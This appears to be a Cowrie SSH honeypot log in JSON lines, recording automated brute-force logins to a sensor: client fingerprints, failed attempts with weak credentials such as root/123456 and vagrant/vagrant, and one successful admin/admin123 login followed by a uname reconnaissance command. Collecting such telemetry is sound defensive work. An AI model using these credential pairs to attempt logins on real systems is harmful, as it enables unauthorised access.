{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:57.348253Z","src_ip":"83.168.110.85","session":"69d1dff46354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:57.712493Z","src_ip":"83.168.110.85","session":"69d1dff46354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:58.835224Z","src_ip":"83.168.110.85","session":"69d1dff46354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35190,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffacf52c4c0f","protocol":"ssh","message":"New connection: 83.168.110.85:35190 (159.203.135.109:22) [session: ffacf52c4c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:08.107729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:08.112825Z","src_ip":"83.168.110.85","session":"ffacf52c4c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:08.234620Z","src_ip":"83.168.110.85","session":"ffacf52c4c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:08.646532Z","src_ip":"83.168.110.85","session":"ffacf52c4c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:09.770731Z","src_ip":"83.168.110.85","session":"ffacf52c4c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":49264,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7085cf7075b","protocol":"ssh","message":"New connection: 4.184.246.230:49264 (10.17.0.5:22) [session: b7085cf7075b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:16.810242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:16.815124Z","src_ip":"4.184.246.230","session":"b7085cf7075b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:16.903104Z","src_ip":"4.184.246.230","session":"b7085cf7075b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:17.274171Z","src_ip":"4.184.246.230","session":"b7085cf7075b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:18.362450Z","src_ip":"4.184.246.230","session":"b7085cf7075b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59198,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7d797f7643c","protocol":"ssh","message":"New connection: 83.168.110.85:59198 (159.203.135.109:22) [session: d7d797f7643c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:18.679760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:18.686265Z","src_ip":"83.168.110.85","session":"d7d797f7643c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:18.808405Z","src_ip":"83.168.110.85","session":"d7d797f7643c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:19.472558Z","src_ip":"83.168.110.85","session":"d7d797f7643c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:20.597780Z","src_ip":"83.168.110.85","session":"d7d797f7643c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44078,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1ffbc75b449","protocol":"ssh","message":"New connection: 83.168.110.85:44078 (159.203.135.109:22) [session: d1ffbc75b449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:29.207472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:29.250643Z","src_ip":"83.168.110.85","session":"d1ffbc75b449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:29.519541Z","src_ip":"83.168.110.85","session":"d1ffbc75b449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:30.062151Z","src_ip":"83.168.110.85","session":"d1ffbc75b449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:31.189213Z","src_ip":"83.168.110.85","session":"d1ffbc75b449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":50094,"dst_ip":"159.203.135.109","dst_port":22,"session":"03c1d9b2dd50","protocol":"ssh","message":"New connection: 103.149.28.157:50094 (159.203.135.109:22) [session: 03c1d9b2dd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:37.765713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:37.774182Z","src_ip":"103.149.28.157","session":"03c1d9b2dd50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:38.019559Z","src_ip":"103.149.28.157","session":"03c1d9b2dd50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789654123","message":"login attempt [root/789654123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:38.770599Z","src_ip":"103.149.28.157","session":"03c1d9b2dd50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49508,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b0576041925","protocol":"ssh","message":"New connection: 83.168.110.85:49508 (159.203.135.109:22) [session: 2b0576041925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:39.845871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:39.903007Z","src_ip":"83.168.110.85","session":"2b0576041925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:39.976168Z","src_ip":"83.168.110.85","session":"2b0576041925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:40.030153Z","src_ip":"103.149.28.157","session":"03c1d9b2dd50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:40.442234Z","src_ip":"83.168.110.85","session":"2b0576041925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:41.653197Z","src_ip":"83.168.110.85","session":"2b0576041925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":35582,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ded07f693de","protocol":"ssh","message":"New connection: 193.32.162.151:35582 (159.203.135.109:22) [session: 8ded07f693de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:47.984270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:47.988679Z","src_ip":"193.32.162.151","session":"8ded07f693de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:48.093455Z","src_ip":"193.32.162.151","session":"8ded07f693de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:48.409808Z","src_ip":"193.32.162.151","session":"8ded07f693de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:48.663924Z","src_ip":"193.32.162.151","session":"8ded07f693de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:48.666797Z","src_ip":"193.32.162.151","session":"8ded07f693de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:48.774063Z","src_ip":"193.32.162.151","session":"8ded07f693de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:48.778530Z","src_ip":"193.32.162.151","session":"8ded07f693de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":35900,"dst_ip":"10.17.0.5","dst_port":22,"session":"90659978fed5","protocol":"ssh","message":"New connection: 4.184.246.230:35900 (10.17.0.5:22) [session: 90659978fed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:58.414149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:58.419080Z","src_ip":"4.184.246.230","session":"90659978fed5","protocol":"ssh"}
